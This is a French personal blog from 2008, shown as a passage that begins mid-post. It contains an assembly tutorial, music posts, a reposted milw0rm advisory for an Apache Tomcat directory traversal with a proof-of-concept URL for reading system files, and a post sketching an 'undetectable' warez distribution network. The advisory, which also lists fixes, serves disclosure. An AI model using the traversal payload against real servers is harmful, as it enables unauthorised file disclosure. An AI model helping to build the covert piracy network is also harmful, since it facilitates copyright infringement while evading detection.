0);font-family:courier new;" >; EAX : partie basse 32 bits (bits 0 à 31) de RAX.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; AX : partie basse 16 bits (bits 0 à 15) de EAX.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; AH : partie haute 8 bits (bits 8 à 15) de AX.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; AL : partie basse 8 bits (bit 0 à 7) de AX.</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; DONC un mov eax,0x09 ou un mov ax,0x09 auraient marché aussi</span><br /><br /><span style="font-family:courier new;">int 0x21</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On appelle l'interruption 0x21 (Liste d'interruptions un peu + loin)</span><br /><br /><span style="font-family:courier new;">ret</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On rend la main a l'appellant (return en C)</span><br /><br /><span style="font-family:courier new;">fin:</span><br /><span style="font-family:courier new;">mov ax,0x4c</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On met 0x4c dans ax, 0x4c est le numéro de la fonction qui sert à quitter le programme</span><br /><span style="color: rgb(255, 255, 255);font-family:courier new;" >int 0x21</span><br /><span style="color: rgb(255, 0, 0);font-family:courier new;" >; On appelle l'interruption 0x21</span></span><br /></div><br />Petite table des Interruptions DOS, non-exhaustive et reprise des cours de Haypo:<br /><br /><div style="border: 1px solid white; padding: 2px;"><br />* 01h: Lancement d'un programme en mode pas-à-pas (permet de le débogueur).<br />* 02h: Interruption non masquable.<br />* 03h: Erreur de rupture.<br />* 04h: Erreur de dépassement (par calcul, exemple : "mov al, 200 ; add al,140" -> 340 > 255 !!!).<br />* 05h "Imprime écran", imprime une copie de l'écran en mode texte.<br />* 08h: Horloge tournant à 18.6 clics/seconde.<br />* 09h: Lecture du clavier. La touche est codée avec un 'code clavier' (scan code en anglais) traduit en code standart ASCII par l'interruption 16h.<br />* 0Bh: Gestion du port COM2.<br />* 0Ch: Gestion du port COM1.<br />* 10h: Gestion de la carte vidéo.<br />* 11h : Liste de configuration (mémoire, nombre de ports COM, co-processeur, ...).<br />* 12h: Taille de la mémoire basse (640 Ko maximum).<br />* 13h: Gestion des différents disques.<br />* 14h: Gestion de l'interface série (ports COM, voir les interruptions 0Bh et 0Ch).<br />* 15h: Manette de jeu, cassette et TopView.<br />* 16h: Conversion du code de la touche (lu par l'interruption 09h) en code standart ASCII.<br />* 17h: Gestion de l'imprimante.<br />* 18h: Rom BASIC.<br />* 19h: Rountine de chargement du DOS.<br />* 1Ah: Gestion de l'heure réelle.<br />* 1Bh: Surveille la pression de la combinaison de touche 'CTRL + C'.<br />* 1Ch: Chronomètre clic/clic à la vitesse de l'horloge 08h : 18.6 Hz. Sa valeur est stockée à l'emplacement 0040h: 0060h.<br />* 1Dh: La table d'initialisation vidéo.<br />* 1Eh: La table de paramètre des disquettes.<br />* 1Fh: La table des caractères graphiques.<br />* 20h: L'interruption DOS : Fin d'un programme au format COM (le format EXE est largement plus répendu aujourd'hui).<br />* 21h: L'interruption DOS : Fonctions universelles (disque dur, horloge, ...).<br />* 22h: L'interruption DOS : Adresse de fin de processus.<br />* 23h: L'interruption DOS : Surveille CTRL + PAUSE (ou CTRL + BREAK).<br />* 24h: L'interruption DOS : Erreur fatale d'un vecteur d'interruption.<br />* 25h: L'interruption DOS : Lecture directe d'un disque.<br />* 26h: L'interruption DOS : Ecriture directe sur un disque.<br />* 27h: L'interruption DOS : Programmes résidents.<br />* 28h: Fin d'un programme restant résidant en mémoire.<br />* 2Fh: Interruption pour plusieurs sous programmes. Gestion du réseau, driver CD-Rom MSCDEX, ...<br /></div><br /><br />Il y en a apparement une liste plus fournie ici: http://www.delorie.com/djgpp/doc/rbinter/<br /><br />Regardons maintenant le schema simplifié du PSP:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_orYbpGQL4hA/SKHQSekNAcI/AAAAAAAAAAo/WN7iQX2cE4U/s1600-h/table.png"></a><br /><br />Ben maintenant, on à écrit un programme en assembleur Nasm, va peut être finir par falloir... l'assembler justement... Comment on fait? On cherche :]<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_orYbpGQL4hA/SKRGbpSVEsI/AAAAAAAAAAw/d7cniCCjzLQ/s1600-h/1.PNG"></a><br /><br />So, pour assembler, on va tout simplement faire<br /><br /><span style="font-style: italic;">nasm programme1.asm -o programme1.com</span><br /><br />Wahou, ca y est, je pense que maintenant nous sommes de vrais fous! La suite un de ces 4 :p<br />Byebye<div class="blogger-post-footer"></div> </article> <article> <h1>Surf Session du Mardi, riz dans les raviolis...</h1> <p>2008-08-12T10:15:00.000+02:00</p> Ca c'est supayr, pis ya des zanimaux:<br /><br /><param name="movie" value="http://www.youtube.com/v/n1wnOUH2jk8&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br />Bat For Lashes - What's a girl to do<br /><br />Une petite pour un des mes amis qu'il n'est pas la peine de citer, vu que je suis le seul a le connaitre:<br /><br /><div><param name="movie" value="http://www.dailymotion.com/swf/k1RuwzzrJGNRWrdFD&colors=background:B32424;&related=1"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param></object><br /><b><a href="http://www.dailymotion.com/video/x14jt_primus-wynonas-big-brown-beaver_music">Primus - Wynona's Big Brown Beaver</a></b><br /><i>envoyé par <a href="http://www.dailymotion.com/bunglefever">bunglefever</a></i></div><br /><br />Vieux, moche, pas trop connu... Légendaire:<br /><br /><param name="movie" value="http://www.youtube.com/v/X9dAEbuNFQE&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br />Hallucinogen - LSD (Album Twisted)<br /><br />Et puis bien sur... LE grand classique :<br /><br /><div><param name="movie" value="http://www.dailymotion.com/swf/k4VPXX6kgLozYR1nng&colors=background:B32424;&related=1"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param></object><br /><b><a href="http://www.dailymotion.com/video/x7186_prodigy-smack-my-bitch-up_music">Prodigy - Smack My Bitch Up</a></b><br /><i>envoyé par <a href="http://www.dailymotion.com/napolitz">napolitz</a></i></div><br /><br />A part ca il s'en passe un peu sur le net, attention aux zyeux les emo geeks transpirants (je suis pas dans le tas) : <a href="http://www.jeuxvideo.com/news/2008/00028040-une-nouvelle-lara-croft.htm">C'est ICI</a>.<br /><br />Un dernier pour se dire au revoir:<br /><br /><param name="movie" value="http://www.youtube.com/v/Z6hL6fkJ1_k&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br />Infected Msuhroom - Becoming Insane<div class="blogger-post-footer"></div> </article> <article> <h1>Haha! Saloperie de Tomcat...</h1> <p>2008-08-11T17:47:00.000+02:00</p> ... c'est de la merde, je lacherais jamais l'affaire :p<br /><br /><div style="border:1px solid white;font-size:10px;padding:2px;"><br />Title: Apache Tomcat Directory Traversal Vulnerability<br />Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)<br />Severity: High<br />Impact: Remote File Disclosure<br />Vulnerable Version: prior to 6.0.18<br />Solution:<br /> - Best Choice: Upgrade to 6.0.18 (http://tomcat.apache.org)<br /> - Hot fix: Disable allowLinking or do not set URIencoding to utf8 in order to avoid this vulnerability.<br /> - Tomcat 5.5.x and 4.1.x Users: The fix will be included in the next releases. Please apply the hot fix until next release.<br />References:<br /> - http://tomcat.apache.org/security.html<br /> - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938<br />History:<br /> - 07.17.2008: Initiate notify (To Apache Security Team)<br /> - 08.02.2008: Responsed this problem fixed and released new version<br /> - 08.05.2008: Notify disclosure (To Apache Tomcat Security Team)<br /> - 08.10.2008: Responsed with some suggestions.<br /><br />Description<br />As Apache Security Team, this problem occurs because of JAVA side.<br />If your context.xml or server.xml allows 'allowLinking'and 'URIencoding' as<br />'UTF-8', an attacker can obtain your important system files.(e.g. /etc/passwd)<br /><br />Exploit<br />If your webroot directory has three depth(e.g /usr/local/wwwroot), An<br />attacker can access arbitrary files as below. (Proof-of-concept)<br /><br />http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar<br /><br /><a href="http://www.milw0rm.com/exploits/6229"># milw0rm.com [2008-08-11]</a></div><br /><br />Et puis, tant qu'on parle de Milw0rm, un petit truc que j'avais plutôt bien aimé : <a href="http://www.milw0rm.com/video/watch.php?id=70">ICI</a><div class="blogger-post-footer"></div> </article> <article> <h1>Un peu de SéRiEuX?</h1> <p>2008-08-11T11:56:00.000+02:00</p> Un petit truc auquel j'ai pensé.... Un machin pour lequel faudrait un peu de gens motivés en fait (des coderz hein, les autres, crevez).<br /><br />Alors voila, je pense qu'il est possible de monter un réseau warez pratiquement indétectable et cela assez simplement :]<br /><br />Le <span style="font-weight:bold;">principe</span> :p :<br /><br /> - Chaque fichier proposé est chiffré dans son intégralité.<br /> - Le fichier chiffré est splité en une multitude de petits fichiers (disons que 50 pour un fichier de 700 Mo saybien).<br /> - On génère des noms de fichiers aléatoires pour ces fichiers. <br /> - Les fichiers sont répartis sur une multitude de serveurs Web et FTP, l'adresse de chaque fragment est consignée en base de données et un fichier rassemblant des informations importantes est généré (adresse de chaque fragment, nombre de fragments, checksum...).<br /> - Ce fichier est stocké sur un serveur Web et indexé par un moteur de recherche.<br /><br /><span style="font-weight:bold;">Dans la pratique</span>, comment on leech? :D<br /><br />Il faudra tout d'abord être inscrit (clef de chiffrement oblige). Et la j'ai fait un schéma pour expliquer la suite!!! (Je me dématérialise complètement devant la toute puissance de MS Viso)<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_orYbpGQL4hA/SKAbJvQOeKI/AAAAAAAAAAc/l_BzcS-Df_w/s1600-h/Dessin1.png"></a><br /><br /><span style="font-weight:bold;">Alors</span>...<br /><br /> 1 - Le client récupère le fichier via l'interface Web<br /> 2 - Le fichier est ouvert par un exécutable (fourni sur le site Web) <br /> 3 - Cet exécutable va vérifier la disponibilité des fragments et leurs adresses <br /> 4 - Le programme récupère ensuite la liste des adresses des fragments et met à jour le fichier de départ sur le serveur Web, si nécessaire.<br /> 5 - Le programme télécharge chaque fragment du fichier.<br /> 6 - Les fragments sont rassemblés et déchiffrés.<br /><br />[...] A suivre :]<div class="blogger-post-footer"></div> </article> <article> <h1>Semaine 1, Jour 1 : Déja plus de vivres...</h1> <p>2008-08-11T10:15:00.000+02:00</p> ... reste une tablette de chocolat<br /><br />Spécialement pour mon AzTeK préféré:<br /><br /><param name="movie" value="http://www.youtube.com/v/mVFbMgTTmcQ&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br/>DJ Kash - Chocolat<br /><br />"<span style="font-style:italic;">Le rap était nul, on a fait redevenir ca bien</span>" :<br /><br /><param name="movie" value="http://www.youtube.com/v/4lsOLjJ29UE&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br/>TTC - Végétarienne<div class="blogger-post-footer"></div> </article> <article> <h1>Ouverturage d'un blog 0o</h1> <p>2008-08-10T13:53:00.000+02:00</p> Je ne sait trop quoi faire en ce dimanche (matin?) d'Aout, alors je me dis pourquoi pas ouvrir un blogalacon comme tout le monde? Hum voila c'est fait et je me retrouve obligé de publier un premier billet -_- J'ai faim, mal au crane et je sais pas quoi écrire, donc, je vais poster ce que je suis en train d'écouter, ca ira plus vite.<br />Bon... c'est usé, on y moleste des grands mères et des représentants des forces de l'ordre, mais l'effet musical recherché est présent :p<br /><br /><span style="font-style: italic;">"Un clip indiffusable à la TV pour un titre indiffusable en radio"</span><br /><br /><param name="movie" value="http://www.youtube.com/v/GsmzNB_eXek&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param></object><br/>Justice - Stress<div class="blogger-post-footer"></div> </article> </main></body></html>